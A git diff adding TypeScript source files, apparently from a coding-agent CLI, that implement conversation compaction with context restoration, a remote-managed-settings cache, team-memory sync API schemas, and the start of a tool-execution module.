+        // since it doesn't share cache with the main thread.
+        const result = await runForkedAgent({
+          promptMessages: [summaryRequest],
+          cacheSafeParams,
+          canUseTool: createCompactCanUseTool(),
+          querySource: 'compact',
+          forkLabel: 'compact',
+          maxTurns: 1,
+          skipCacheWrite: true,
+          // Pass the compact context's abortController so user Esc aborts the
+          // fork — same signal the streaming fallback uses at
+          // `signal: context.abortController.signal` below.
+          overrides: { abortController: context.abortController },
+        })
+        const assistantMsg = getLastAssistantMessage(result.messages)
+        const assistantText = assistantMsg
+          ? getAssistantMessageText(assistantMsg)
+          : null
+        // Guard isApiErrorMessage: query() catches API errors (including
+        // APIUserAbortError on ESC) and yields them as synthetic assistant
+        // messages. Without this check, an aborted compact "succeeds" with
+        // "Request was aborted." as the summary — the text doesn't start with
+        // "API Error" so the caller's startsWithApiErrorPrefix guard misses it.
+        if (assistantMsg && assistantText && !assistantMsg.isApiErrorMessage) {
+          // Skip success logging for PTL error text — it's returned so the
+          // caller's retry loop catches it, but it's not a successful summary.
+          if (!assistantText.startsWith(PROMPT_TOO_LONG_ERROR_MESSAGE)) {
+            logEvent('tengu_compact_cache_sharing_success', {
+              preCompactTokenCount,
+              outputTokens: result.totalUsage.output_tokens,
+              cacheReadInputTokens: result.totalUsage.cache_read_input_tokens,
+              cacheCreationInputTokens:
+                result.totalUsage.cache_creation_input_tokens,
+              cacheHitRate:
+                result.totalUsage.cache_read_input_tokens > 0
+                  ? result.totalUsage.cache_read_input_tokens /
+                    (result.totalUsage.cache_read_input_tokens +
+                      result.totalUsage.cache_creation_input_tokens +
+                      result.totalUsage.input_tokens)
+                  : 0,
+            })
+          }
+          return assistantMsg
+        }
+        logForDebugging(
+          `Compact cache sharing: no text in response, falling back. Response: ${jsonStringify(assistantMsg)}`,
+          { level: 'warn' },
+        )
+        logEvent('tengu_compact_cache_sharing_fallback', {
+          reason:
+            'no_text_response' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+          preCompactTokenCount,
+        })
+      } catch (error) {
+        logError(error)
+        logEvent('tengu_compact_cache_sharing_fallback', {
+          reason:
+            'error' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+          preCompactTokenCount,
+        })
+      }
+    }
+
+    // Regular streaming path (fallback when cache sharing fails or is disabled)
+    const retryEnabled = getFeatureValue_CACHED_MAY_BE_STALE(
+      'tengu_compact_streaming_retry',
+      false,
+    )
+    const maxAttempts = retryEnabled ? MAX_COMPACT_STREAMING_RETRIES : 1
+
+    for (let attempt = 1; attempt <= maxAttempts; attempt++) {
+      // Reset state for retry
+      let hasStartedStreaming = false
+      let response: AssistantMessage | undefined
+      context.setResponseLength?.(() => 0)
+
+      // Check if tool search is enabled using the main loop's tools list.
+      // context.options.tools includes MCP tools merged via useMergedTools.
+      const useToolSearch = await isToolSearchEnabled(
+        context.options.mainLoopModel,
+        context.options.tools,
+        async () => appState.toolPermissionContext,
+        context.options.agentDefinitions.activeAgents,
+        'compact',
+      )
+
+      // When tool search is enabled, include ToolSearchTool and MCP tools. They get
+      // defer_loading: true and don't count against context - the API filters them out
+      // of system_prompt_tools before token counting (see api/token_count_api/counting.py:188
+      // and api/public_api/messages/handler.py:324).
+      // Filter MCP tools from context.options.tools (not appState.mcp.tools) so we
+      // get the permission-filtered set from useMergedTools — same source used for
+      // isToolSearchEnabled above and normalizeMessagesForAPI below.
+      // Deduplicate by name to avoid API errors when MCP tools share names with built-in tools.
+      const tools: Tool[] = useToolSearch
+        ? uniqBy(
+            [
+              FileReadTool,
+              ToolSearchTool,
+              ...context.options.tools.filter(t => t.isMcp),
+            ],
+            'name',
+          )
+        : [FileReadTool]
+
+      const streamingGen = queryModelWithStreaming({
+        messages: normalizeMessagesForAPI(
+          stripImagesFromMessages(
+            stripReinjectedAttachments([
+              ...getMessagesAfterCompactBoundary(messages),
+              summaryRequest,
+            ]),
+          ),
+          context.options.tools,
+        ),
+        systemPrompt: asSystemPrompt([
+          'You are a helpful AI assistant tasked with summarizing conversations.',
+        ]),
+        thinkingConfig: { type: 'disabled' as const },
+        tools,
+        signal: context.abortController.signal,
+        options: {
+          async getToolPermissionContext() {
+            const appState = context.getAppState()
+            return appState.toolPermissionContext
+          },
+          model: context.options.mainLoopModel,
+          toolChoice: undefined,
+          isNonInteractiveSession: context.options.isNonInteractiveSession,
+          hasAppendSystemPrompt: !!context.options.appendSystemPrompt,
+          maxOutputTokensOverride: Math.min(
+            COMPACT_MAX_OUTPUT_TOKENS,
+            getMaxOutputTokensForModel(context.options.mainLoopModel),
+          ),
+          querySource: 'compact',
+          agents: context.options.agentDefinitions.activeAgents,
+          mcpTools: [],
+          effortValue: appState.effortValue,
+        },
+      })
+      const streamIter = streamingGen[Symbol.asyncIterator]()
+      let next = await streamIter.next()
+
+      while (!next.done) {
+        const event = next.value
+
+        if (
+          !hasStartedStreaming &&
+          event.type === 'stream_event' &&
+          event.event.type === 'content_block_start' &&
+          event.event.content_block.type === 'text'
+        ) {
+          hasStartedStreaming = true
+          context.setStreamMode?.('responding')
+        }
+
+        if (
+          event.type === 'stream_event' &&
+          event.event.type === 'content_block_delta' &&
+          event.event.delta.type === 'text_delta'
+        ) {
+          const charactersStreamed = event.event.delta.text.length
+          context.setResponseLength?.(length => length + charactersStreamed)
+        }
+
+        if (event.type === 'assistant') {
+          response = event
+        }
+
+        next = await streamIter.next()
+      }
+
+      if (response) {
+        return response
+      }
+
+      if (attempt < maxAttempts) {
+        logEvent('tengu_compact_streaming_retry', {
+          attempt,
+          preCompactTokenCount,
+          hasStartedStreaming,
+        })
+        await sleep(getRetryDelay(attempt), context.abortController.signal, {
+          abortError: () => new APIUserAbortError(),
+        })
+        continue
+      }
+
+      logForDebugging(
+        `Compact streaming failed after ${attempt} attempts. hasStartedStreaming=${hasStartedStreaming}`,
+        { level: 'error' },
+      )
+      logEvent('tengu_compact_failed', {
+        reason:
+          'no_streaming_response' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        preCompactTokenCount,
+        hasStartedStreaming,
+        retryEnabled,
+        attempts: attempt,
+        promptCacheSharingEnabled,
+      })
+      throw new Error(ERROR_MESSAGE_INCOMPLETE_RESPONSE)
+    }
+
+    // This should never be reached due to the throw above, but TypeScript needs it
+    throw new Error(ERROR_MESSAGE_INCOMPLETE_RESPONSE)
+  } finally {
+    clearInterval(activityInterval)
+  }
+}
+
+/**
+ * Creates attachment messages for recently accessed files to restore them after compaction.
+ * This prevents the model from having to re-read files that were recently accessed.
+ * Re-reads files using FileReadTool to get fresh content with proper validation.
+ * Files are selected based on recency, but constrained by both file count and token budget limits.
+ *
+ * Files already present as Read tool results in preservedMessages are skipped —
+ * re-injecting identical content the model can already see in the preserved tail
+ * is pure waste (up to 25K tok/compact). Mirrors the diff-against-preserved
+ * pattern that getDeferredToolsDeltaAttachment uses at the same call sites.
+ *
+ * @param readFileState The current file state tracking recently read files
+ * @param toolUseContext The tool use context for calling FileReadTool
+ * @param maxFiles Maximum number of files to restore (default: 5)
+ * @param preservedMessages Messages kept post-compact; Read results here are skipped
+ * @returns Array of attachment messages for the most recently accessed files that fit within token budget
+ */
+export async function createPostCompactFileAttachments(
+  readFileState: Record<string, { content: string; timestamp: number }>,
+  toolUseContext: ToolUseContext,
+  maxFiles: number,
+  preservedMessages: Message[] = [],
+): Promise<AttachmentMessage[]> {
+  const preservedReadPaths = collectReadToolFilePaths(preservedMessages)
+  const recentFiles = Object.entries(readFileState)
+    .map(([filename, state]) => ({ filename, ...state }))
+    .filter(
+      file =>
+        !shouldExcludeFromPostCompactRestore(
+          file.filename,
+          toolUseContext.agentId,
+        ) && !preservedReadPaths.has(expandPath(file.filename)),
+    )
+    .sort((a, b) => b.timestamp - a.timestamp)
+    .slice(0, maxFiles)
+
+  const results = await Promise.all(
+    recentFiles.map(async file => {
+      const attachment = await generateFileAttachment(
+        file.filename,
+        {
+          ...toolUseContext,
+          fileReadingLimits: {
+            maxTokens: POST_COMPACT_MAX_TOKENS_PER_FILE,
+          },
+        },
+        'tengu_post_compact_file_restore_success',
+        'tengu_post_compact_file_restore_error',
+        'compact',
+      )
+      return attachment ? createAttachmentMessage(attachment) : null
+    }),
+  )
+
+  let usedTokens = 0
+  return results.filter((result): result is AttachmentMessage => {
+    if (result === null) {
+      return false
+    }
+    const attachmentTokens = roughTokenCountEstimation(jsonStringify(result))
+    if (usedTokens + attachmentTokens <= POST_COMPACT_TOKEN_BUDGET) {
+      usedTokens += attachmentTokens
+      return true
+    }
+    return false
+  })
+}
+
+/**
+ * Creates a plan file attachment if a plan file exists for the current session.
+ * This ensures the plan is preserved after compaction.
+ */
+export function createPlanAttachmentIfNeeded(
+  agentId?: AgentId,
+): AttachmentMessage | null {
+  const planContent = getPlan(agentId)
+
+  if (!planContent) {
+    return null
+  }
+
+  const planFilePath = getPlanFilePath(agentId)
+
+  return createAttachmentMessage({
+    type: 'plan_file_reference',
+    planFilePath,
+    planContent,
+  })
+}
+
+/**
+ * Creates an attachment for invoked skills to preserve their content across compaction.
+ * Only includes skills scoped to the given agent (or main session when agentId is null/undefined).
+ * This ensures skill guidelines remain available after the conversation is summarized
+ * without leaking skills from other agent contexts.
+ */
+export function createSkillAttachmentIfNeeded(
+  agentId?: string,
+): AttachmentMessage | null {
+  const invokedSkills = getInvokedSkillsForAgent(agentId)
+
+  if (invokedSkills.size === 0) {
+    return null
+  }
+
+  // Sorted most-recent-first so budget pressure drops the least-relevant skills.
+  // Per-skill truncation keeps the head of each file (where setup/usage
+  // instructions typically live) rather than dropping whole skills.
+  let usedTokens = 0
+  const skills = Array.from(invokedSkills.values())
+    .sort((a, b) => b.invokedAt - a.invokedAt)
+    .map(skill => ({
+      name: skill.skillName,
+      path: skill.skillPath,
+      content: truncateToTokens(
+        skill.content,
+        POST_COMPACT_MAX_TOKENS_PER_SKILL,
+      ),
+    }))
+    .filter(skill => {
+      const tokens = roughTokenCountEstimation(skill.content)
+      if (usedTokens + tokens > POST_COMPACT_SKILLS_TOKEN_BUDGET) {
+        return false
+      }
+      usedTokens += tokens
+      return true
+    })
+
+  if (skills.length === 0) {
+    return null
+  }
+
+  return createAttachmentMessage({
+    type: 'invoked_skills',
+    skills,
+  })
+}
+
+/**
+ * Creates a plan_mode attachment if the user is currently in plan mode.
+ * This ensures the model continues to operate in plan mode after compaction
+ * (otherwise it would lose the plan mode instructions since those are
+ * normally only injected on tool-use turns via getAttachmentMessages).
+ */
+export async function createPlanModeAttachmentIfNeeded(
+  context: ToolUseContext,
+): Promise<AttachmentMessage | null> {
+  const appState = context.getAppState()
+  if (appState.toolPermissionContext.mode !== 'plan') {
+    return null
+  }
+
+  const planFilePath = getPlanFilePath(context.agentId)
+  const planExists = getPlan(context.agentId) !== null
+
+  return createAttachmentMessage({
+    type: 'plan_mode',
+    reminderType: 'full',
+    isSubAgent: !!context.agentId,
+    planFilePath,
+    planExists,
+  })
+}
+
+/**
+ * Creates attachments for async agents so the model knows about them after
+ * compaction. Covers both agents still running in the background (so the model
+ * doesn't spawn a duplicate) and agents that have finished but whose results
+ * haven't been retrieved yet.
+ */
+export async function createAsyncAgentAttachmentsIfNeeded(
+  context: ToolUseContext,
+): Promise<AttachmentMessage[]> {
+  const appState = context.getAppState()
+  const asyncAgents = Object.values(appState.tasks).filter(
+    (task): task is LocalAgentTaskState => task.type === 'local_agent',
+  )
+
+  return asyncAgents.flatMap(agent => {
+    if (
+      agent.retrieved ||
+      agent.status === 'pending' ||
+      agent.agentId === context.agentId
+    ) {
+      return []
+    }
+    return [
+      createAttachmentMessage({
+        type: 'task_status',
+        taskId: agent.agentId,
+        taskType: 'local_agent',
+        description: agent.description,
+        status: agent.status,
+        deltaSummary:
+          agent.status === 'running'
+            ? (agent.progress?.summary ?? null)
+            : (agent.error ?? null),
+        outputFilePath: getTaskOutputPath(agent.agentId),
+      }),
+    ]
+  })
+}
+
+/**
+ * Scan messages for Read tool_use blocks and collect their file_path inputs
+ * (normalized via expandPath). Used to dedup post-compact file restoration
+ * against what's already visible in the preserved tail.
+ *
+ * Skips Reads whose tool_result is a dedup stub — the stub points at an
+ * earlier full Read that may have been compacted away, so we want
+ * createPostCompactFileAttachments to re-inject the real content.
+ */
+function collectReadToolFilePaths(messages: Message[]): Set<string> {
+  const stubIds = new Set<string>()
+  for (const message of messages) {
+    if (message.type !== 'user' || !Array.isArray(message.message.content)) {
+      continue
+    }
+    for (const block of message.message.content) {
+      if (
+        block.type === 'tool_result' &&
+        typeof block.content === 'string' &&
+        block.content.startsWith(FILE_UNCHANGED_STUB)
+      ) {
+        stubIds.add(block.tool_use_id)
+      }
+    }
+  }
+
+  const paths = new Set<string>()
+  for (const message of messages) {
+    if (
+      message.type !== 'assistant' ||
+      !Array.isArray(message.message.content)
+    ) {
+      continue
+    }
+    for (const block of message.message.content) {
+      if (
+        block.type !== 'tool_use' ||
+        block.name !== FILE_READ_TOOL_NAME ||
+        stubIds.has(block.id)
+      ) {
+        continue
+      }
+      const input = block.input
+      if (
+        input &&
+        typeof input === 'object' &&
+        'file_path' in input &&
+        typeof input.file_path === 'string'
+      ) {
+        paths.add(expandPath(input.file_path))
+      }
+    }
+  }
+  return paths
+}
+
+const SKILL_TRUNCATION_MARKER =
+  '\n\n[... skill content truncated for compaction; use Read on the skill path if you need the full text]'
+
+/**
+ * Truncate content to roughly maxTokens, keeping the head. roughTokenCountEstimation
+ * uses ~4 chars/token (its default bytesPerToken), so char budget = maxTokens * 4
+ * minus the marker so the result stays within budget. Marker tells the model it
+ * can Read the full file if needed.
+ */
+function truncateToTokens(content: string, maxTokens: number): string {
+  if (roughTokenCountEstimation(content) <= maxTokens) {
+    return content
+  }
+  const charBudget = maxTokens * 4 - SKILL_TRUNCATION_MARKER.length
+  return content.slice(0, charBudget) + SKILL_TRUNCATION_MARKER
+}
+
+function shouldExcludeFromPostCompactRestore(
+  filename: string,
+  agentId?: AgentId,
+): boolean {
+  const normalizedFilename = expandPath(filename)
+  // Exclude plan files
+  try {
+    const planFilePath = expandPath(getPlanFilePath(agentId))
+    if (normalizedFilename === planFilePath) {
+      return true
+    }
+  } catch {
+    // If we can't get plan file path, continue with other checks
+  }
+
+  // Exclude all types of claude.md files
+  // TODO: Refactor to use isMemoryFilePath() from claudemd.ts for consistency
+  // and to also match child directory memory files (.claude/rules/*.md, etc.)
+  try {
+    const normalizedMemoryPaths = new Set(
+      MEMORY_TYPE_VALUES.map(type => expandPath(getMemoryPath(type))),
+    )
+
+    if (normalizedMemoryPaths.has(normalizedFilename)) {
+      return true
+    }
+  } catch {
+    // If we can't get memory paths, continue
+  }
+
+  return false
+}
diff --git a/_all-in-one-upload/cc-haha/src/services/remoteManagedSettings/syncCacheState.ts b/_all-in-one-upload/cc-haha/src/services/remoteManagedSettings/syncCacheState.ts
new file mode 100644
index 0000000..6186c6b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/services/remoteManagedSettings/syncCacheState.ts
@@ -0,0 +1,96 @@
+/**
+ * Leaf state module for the remote-managed-settings sync cache.
+ *
+ * Split from syncCache.ts to break the settings.ts → syncCache.ts → auth.ts →
+ * settings.ts cycle. auth.ts sits inside the large settings SCC; importing it
+ * from settings.ts's own dependency chain pulls hundreds of modules into the
+ * eagerly-evaluated SCC at startup.
+ *
+ * This module imports only leaves (path, envUtils, file, json, types,
+ * settings/settingsCache — also a leaf, only type-imports validation). settings.ts
+ * reads the cache from here. syncCache.ts keeps isRemoteManagedSettingsEligible
+ * (the auth-touching part) and re-exports everything from here for callers that
+ * don't care about the cycle.
+ *
+ * Eligibility is a tri-state here: undefined (not yet determined — return
+ * null), false (ineligible — return null), true (proceed). managedEnv.ts
+ * calls isRemoteManagedSettingsEligible() just before the policySettings
+ * read — after userSettings/flagSettings env vars are applied, so the check
+ * sees config-provided CLAUDE_CODE_USE_BEDROCK/ANTHROPIC_BASE_URL. That call
+ * computes once and mirrors the result here via setEligibility(). Every
+ * subsequent read hits the cached bool instead of re-running the auth chain.
+ */
+
+import { join } from 'path'
+import { getClaudeConfigHomeDir } from '../../utils/envUtils.js'
+import { readFileSync } from '../../utils/fileRead.js'
+import { stripBOM } from '../../utils/jsonRead.js'
+import { resetSettingsCache } from '../../utils/settings/settingsCache.js'
+import type { SettingsJson } from '../../utils/settings/types.js'
+import { jsonParse } from '../../utils/slowOperations.js'
+
+const SETTINGS_FILENAME = 'remote-settings.json'
+
+let sessionCache: SettingsJson | null = null
+let eligible: boolean | undefined
+
+export function setSessionCache(value: SettingsJson | null): void {
+  sessionCache = value
+}
+
+export function resetSyncCache(): void {
+  sessionCache = null
+  eligible = undefined
+}
+
+export function setEligibility(v: boolean): boolean {
+  eligible = v
+  return v
+}
+
+export function getSettingsPath(): string {
+  return join(getClaudeConfigHomeDir(), SETTINGS_FILENAME)
+}
+
+// sync IO — settings pipeline is sync. fileRead and jsonRead are leaves;
+// file.ts and json.ts both sit in the settings SCC.
+function loadSettings(): SettingsJson | null {
+  try {
+    const content = readFileSync(getSettingsPath())
+    const data: unknown = jsonParse(stripBOM(content))
+    if (!data || typeof data !== 'object' || Array.isArray(data)) {
+      return null
+    }
+    return data as SettingsJson
+  } catch {
+    return null
+  }
+}
+
+export function getRemoteManagedSettingsSyncFromCache(): SettingsJson | null {
+  if (eligible !== true) return null
+  if (sessionCache) return sessionCache
+  const cachedSettings = loadSettings()
+  if (cachedSettings) {
+    sessionCache = cachedSettings
+    // Remote settings just became available for the first time. Any merged
+    // getSettings_DEPRECATED() result cached before this moment is missing
+    // the policySettings layer (the `eligible !== true` guard above returned
+    // null). Flush so the next merged read re-merges with this layer visible.
+    //
+    // Fires at most once: subsequent calls hit `if (sessionCache)` above.
+    // When called from loadSettingsFromDisk() (settings.ts:546), the merged
+    // cache is still null (setSessionSettingsCache runs at :732 after
+    // loadSettingsFromDisk returns) — no-op. The async-fetch arm (index.ts
+    // setSessionCache + notifyChange) already handles its own reset.
+    //
+    // gh-23085: isBridgeEnabled() at main.tsx Commander-definition time
+    // (before preAction → init() → isRemoteManagedSettingsEligible()) reached
+    // getSettings_DEPRECATED() at auth.ts:115. The try/catch in bridgeEnabled
+    // swallowed the later getGlobalConfig() throw, but the merged settings
+    // cache was already poisoned. See managedSettingsHeadless.int.test.ts.
+    resetSettingsCache()
+    return cachedSettings
+  }
+  return null
+}
diff --git a/_all-in-one-upload/cc-haha/src/services/teamMemorySync/types.ts b/_all-in-one-upload/cc-haha/src/services/teamMemorySync/types.ts
new file mode 100644
index 0000000..452cd1e
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/services/teamMemorySync/types.ts
@@ -0,0 +1,156 @@
+/**
+ * Team Memory Sync Types
+ *
+ * Zod schemas and types for the repo-scoped team memory sync API.
+ * Based on the backend API contract from anthropic/anthropic#250711.
+ */
+
+import { z } from 'zod/v4'
+import { lazySchema } from '../../utils/lazySchema.js'
+
+/**
+ * Content portion of team memory data - flat key-value storage.
+ * Keys are file paths relative to the team memory directory (e.g. "MEMORY.md", "patterns.md").
+ * Values are UTF-8 string content (typically Markdown).
+ */
+export const TeamMemoryContentSchema = lazySchema(() =>
+  z.object({
+    entries: z.record(z.string(), z.string()),
+    // Per-key SHA-256 of entry content (`sha256:<hex>`). Added in
+    // anthropic/anthropic#283027. Optional for forward-compat with older
+    // server deployments; empty map when entries is empty.
+    entryChecksums: z.record(z.string(), z.string()).optional(),
+  }),
+)
+
+/**
+ * Full response from GET /api/claude_code/team_memory
+ */
+export const TeamMemoryDataSchema = lazySchema(() =>
+  z.object({
+    organizationId: z.string(),
+    repo: z.string(),
+    version: z.number(),
+    lastModified: z.string(), // ISO 8601 timestamp
+    checksum: z.string(), // SHA256 with 'sha256:' prefix
+    content: TeamMemoryContentSchema(),
+  }),
+)
+
+/**
+ * Structured 413 error body from the server (anthropic/anthropic#293258).
+ * The server's RequestTooLargeException serializes error_code and the
+ * extra_details dict flattened into error.details. We only model the
+ * too-many-entries case; entry-too-large is handled via MAX_FILE_SIZE_BYTES
+ * pre-check on the client side and would need a separate schema.
+ */
+export const TeamMemoryTooManyEntriesSchema = lazySchema(() =>
+  z.object({
+    error: z.object({
+      details: z.object({
+        error_code: z.literal('team_memory_too_many_entries'),
+        max_entries: z.number().int().positive(),
+        received_entries: z.number().int().positive(),
+      }),
+    }),
+  }),
+)
+
+export type TeamMemoryData = z.infer<ReturnType<typeof TeamMemoryDataSchema>>
+
+/**
+ * A file skipped during push because it contains a detected secret.
+ * The path is relative to the team memory directory. Only the matched
+ * gitleaks rule ID is recorded — never the secret value itself.
+ */
+export type SkippedSecretFile = {
+  path: string
+  /** Gitleaks rule ID (e.g., "github-pat", "aws-access-token") */
+  ruleId: string
+  /** Human-readable label derived from rule ID */
+  label: string
+}
+
+/**
+ * Result from fetching team memory
+ */
+export type TeamMemorySyncFetchResult = {
+  success: boolean
+  data?: TeamMemoryData
+  isEmpty?: boolean // true if 404 (no data exists)
+  notModified?: boolean // true if 304 (ETag matched, no changes)
+  checksum?: string // ETag from response header
+  error?: string
+  skipRetry?: boolean
+  errorType?: 'auth' | 'timeout' | 'network' | 'parse' | 'unknown'
+  httpStatus?: number
+}
+
+/**
+ * Lightweight metadata-only probe result (GET ?view=hashes).
+ * Contains per-key checksums without entry bodies. Used to refresh
+ * serverChecksums cheaply during 412 conflict resolution.
+ */
+export type TeamMemoryHashesResult = {
+  success: boolean
+  version?: number
+  checksum?: string
+  entryChecksums?: Record<string, string>
+  error?: string
+  errorType?: 'auth' | 'timeout' | 'network' | 'parse' | 'unknown'
+  httpStatus?: number
+}
+
+/**
+ * Result from uploading team memory with conflict info
+ */
+export type TeamMemorySyncPushResult = {
+  success: boolean
+  filesUploaded: number
+  checksum?: string
+  conflict?: boolean // true if 412 Precondition Failed
+  error?: string
+  /** Files skipped because they contain detected secrets (PSR M22174). */
+  skippedSecrets?: SkippedSecretFile[]
+  errorType?:
+    | 'auth'
+    | 'timeout'
+    | 'network'
+    | 'conflict'
+    | 'unknown'
+    | 'no_oauth'
+    | 'no_repo'
+  httpStatus?: number
+}
+
+/**
+ * Result from uploading team memory
+ */
+export type TeamMemorySyncUploadResult = {
+  success: boolean
+  checksum?: string
+  lastModified?: string
+  conflict?: boolean // true if 412 Precondition Failed
+  error?: string
+  errorType?: 'auth' | 'timeout' | 'network' | 'unknown'
+  httpStatus?: number
+  /**
+   * Structured error_code from a parsed 413 body (anthropic/anthropic#293258).
+   * Currently only 'team_memory_too_many_entries' is modelled; if the server
+   * adds more (entry_too_large, total_bytes_exceeded) they'd extend this
+   * union.  Passed straight through to the tengu_team_mem_sync_push event
+   * as a Datadog-filterable facet.
+   */
+  serverErrorCode?: 'team_memory_too_many_entries'
+  /**
+   * Server-enforced max_entries, populated when serverErrorCode is
+   * team_memory_too_many_entries. Lets the caller cache the effective
+   * (possibly per-org) limit for subsequent pushes.
+   */
+  serverMaxEntries?: number
+  /**
+   * How many entries the rejected push would have produced after merge.
+   * Populated alongside serverMaxEntries.
+   */
+  serverReceivedEntries?: number
+}
diff --git a/_all-in-one-upload/cc-haha/src/services/tools/toolExecution.ts b/_all-in-one-upload/cc-haha/src/services/tools/toolExecution.ts
new file mode 100644
index 0000000..40ef38e
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/services/tools/toolExecution.ts
@@ -0,0 +1,1745 @@
+import { feature } from 'bun:bundle'
+import type {
+  ContentBlockParam,
+  ToolResultBlockParam,
+  ToolUseBlock,
+} from '@anthropic-ai/sdk/resources/index.mjs'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from 'src/services/analytics/index.js'
+import {
+  extractMcpToolDetails,
+  extractSkillName,
+  extractToolInputForTelemetry,
+  getFileExtensionForAnalytics,
+  getFileExtensionsFromBashCommand,
+  isToolDetailsLoggingEnabled,
+  mcpToolDetailsForAnalytics,
+  sanitizeToolNameForAnalytics,
+} from 'src/services/analytics/metadata.js'
+import {
+  addToToolDuration,
+  getCodeEditToolDecisionCounter,
+  getStatsStore,
+} from '../../bootstrap/state.js'
+import {
+  buildCodeEditToolAttributes,
+  isCodeEditingTool,
+} from '../../hooks/toolPermission/permissionLogging.js'
+import type { CanUseToolFn } from '../../hooks/useCanUseTool.js'
+import {
+  findToolByName,
+  type Tool,
+  type ToolProgress,
+  type ToolProgressData,
+  type ToolUseContext,
+} from '../../Tool.js'
+import type { BashToolInput } from '../../tools/BashTool/BashTool.js'
+import { startSpeculativeClassifierCheck } from '../../tools/BashTool/bashPermissions.js'
+import { BASH_TOOL_NAME } from '../../tools/BashTool/toolName.js'
+import { FILE_EDIT_TOOL_NAME } from '../../tools/FileEditTool/constants.js'
+import { FILE_READ_TOOL_NAME } from '../../tools/FileReadTool/prompt.js'
+import { FILE_WRITE_TOOL_NAME } from '../../tools/FileWriteTool/prompt.js'
+import { NOTEBOOK_EDIT_TOOL_NAME } from '../../tools/NotebookEditTool/constants.js'
+import { POWERSHELL_TOOL_NAME } from '../../tools/PowerShellTool/toolName.js'
+import { parseGitCommitId } from '../../tools/shared/gitOperationTracking.js'
+import {
+  isDeferredTool,
+  TOOL_SEARCH_TOOL_NAME,
+} from '../../tools/ToolSearchTool/prompt.js'
+import { getAllBaseTools } from '../../tools.js'
+import type { HookProgress } from '../../types/hooks.js'
+import type {
+  AssistantMessage,
+  AttachmentMessage,
+  Message,
+  ProgressMessage,
+  StopHookInfo,
+} from '../../types/message.js'
+import { count } from '../../utils/array.js'
+import { createAttachmentMessage } from '../../utils/attachments.js'
+import { logForDebugging } from '../../utils/debug.js'
+import {
+  AbortError,
+  errorMessage,
+  getErrnoCode,
+  ShellError,
+  TelemetrySafeError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+} from '../../utils/errors.js'
+import { executePermissionDeniedHooks } from '../../utils/hooks.js'
+import { logError } from '../../utils/log.js'
+import {
+  CANCEL_MESSAGE,
+  createProgressMessage,
+  createStopHookSummaryMessage,
+  createToolResultStopMessage,
+  createUserMessage,
+  withMemoryCorrectionHint,
+} from '../../utils/messages.js'
+import type {
+  PermissionDecisionReason,
+  PermissionResult,
+} from '../../utils/permissions/PermissionResult.js'
+import {
+  startSessionActivity,
+  stopSessionActivity,
+} from '../../utils/sessionActivity.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+import { Stream } from '../../utils/stream.js'
+import { logOTelEvent } from '../../utils/telemetry/events.js'
+import {
+  addToolContentEvent,
+  endToolBlockedOnUserSpan,
+  endToolExecutionSpan,
+  endToolSpan,
+  isBetaTracingEnabled,
+  startToolBlockedOnUserSpan,
+  startToolExecutionSpan,
+  startToolSpan,
+} from '../../utils/telemetry/sessionTracing.js'
+import {
+  formatError,
+  formatZodValidationError,
+} from '../../utils/toolErrors.js'
+import {
+  processPreMappedToolResultBlock,
+  processToolResultBlock,
+} from '../../utils/toolResultStorage.js'
+import {
+  extractDiscoveredToolNames,
+  isToolSearchEnabledOptimistic,
+  isToolSearchToolAvailable,
+} from '../../utils/toolSearch.js'
+import {
+  McpAuthError,
+  McpToolCallError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+} from '../mcp/client.js'
+import { mcpInfoFromString } from '../mcp/mcpStringUtils.js'
+import { normalizeNameForMCP } from '../mcp/normalization.js'
+import type { MCPServerConnection } from '../mcp/types.js'
+import {
+  getLoggingSafeMcpBaseUrl,
+  getMcpServerScopeFromToolName,
+  isMcpTool,
+} from '../mcp/utils.js'
+import {
+  resolveHookPermissionDecision,
+  runPostToolUseFailureHooks,
+  runPostToolUseHooks,
+  runPreToolUseHooks,
+} from './toolHooks.js'
+
+/** Minimum total hook duration (ms) to show inline timing summary */
+export const HOOK_TIMING_DISPLAY_THRESHOLD_MS = 500
+/** Log a debug warning when hooks/permission-decision block for this long. Matches
+ * BashTool's PROGRESS_THRESHOLD_MS — the collapsed view feels stuck past this. */
+const SLOW_PHASE_LOG_THRESHOLD_MS = 2000
+
+/**
+ * Classify a tool execution error into a telemetry-safe string.
+ *
+ * In minified/external builds, `error.constructor.name` is mangled into
+ * short identifiers like "nJT" or "Chq" — useless for diagnostics.
+ * This function extracts structured, telemetry-safe information instead:
+ * - TelemetrySafeError: use its telemetryMessage (already vetted)
+ * - Node.js fs errors: log the error code (ENOENT, EACCES, etc.)
+ * - Known error types: use their unminified name
+ * - Fallback: "Error" (better than a mangled 3-char identifier)
+ */
+export function classifyToolError(error: unknown): string {
+  if (
+    error instanceof TelemetrySafeError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
+  ) {
+    return error.telemetryMessage.slice(0, 200)
+  }
+  if (error instanceof Error) {
+    // Node.js filesystem errors have a `code` property (ENOENT, EACCES, etc.)
+    // These are safe to log and much more useful than the constructor name.
+    const errnoCode = getErrnoCode(error)
+    if (typeof errnoCode === 'string') {
+      return `Error:${errnoCode}`
+    }
+    // ShellError, ImageSizeError, etc. have stable `.name` properties
+    // that survive minification (they're set in the constructor).
+    if (error.name && error.name !== 'Error' && error.name.length > 3) {
+      return error.name.slice(0, 60)
+    }
+    return 'Error'
+  }
+  return 'UnknownError'
+}
+
+/**
+ * Map a rule's origin to the documented OTel `source` vocabulary, matching
+ * the interactive path's semantics (permissionLogging.ts:81): session-scoped
+ * grants are temporary, on-disk grants are permanent, and user-authored
+ * denies are user_reject regardless of persistence. Everything the user
+ * didn't write (cliArg, policySettings, projectSettings, flagSettings) is
+ * config.
+ */
+function ruleSourceToOTelSource(
+  ruleSource: string,
+  behavior: 'allow' | 'deny',
+): string {
+  switch (ruleSource) {
+    case 'session':
